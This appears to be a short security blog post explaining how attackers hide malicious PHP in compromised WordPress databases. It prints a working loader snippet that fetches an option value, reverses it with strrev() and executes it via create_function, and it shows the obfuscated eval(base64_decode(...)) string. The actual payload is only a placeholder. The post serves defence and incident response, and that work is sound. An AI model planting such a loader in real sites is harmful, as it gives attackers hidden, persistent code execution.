Malicious code is often stored in compromised databases, and referenced later for execution. This is a common method by which potentially dangerous PHP functions such as eval(); are hidden from automated and manual file contents searches.
An example of one implementation of this can be seen here:
global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();
In this example, a value is retrieved from a compromised WordPress database. The value is reversed back to front using PHP’s strrev(); function. A new function is then created from the resulting value, and executed.
Lost? The value being retrieved from the database will help clear things up:
;))"edoclam_desrever_dedocne_46esab"(edoced_46esab(lave
Still lost? Remember, PHP’s strrev(); (string reverse) function is being applied to this string prior to its execution. Let’s see what it looks like reversed….
eval(base64_decode("base64_encoded_reversed_malcode"));
And there it is! We have our malicious code, neatly hidden from automated and manual searches within the confines of a compromised WordPress database.
Not only that, but the potentially dangerous PHP functions we may be searching for (eval(); and base64_decode();) are stored in reverse, making them that much more difficult to locate.
Final Thoughts:
The storage of malicious code in a compromised database for later execution can be accomplished without using the strrev(); trick to hide the presence of eval(); and other such functions from searches – that just happens to be a method that this particular attacker happened to employ in this case.
This particular example is a very good illustration of why database audits are important when a site and its related databases are compromised and known-clean backups do not exist.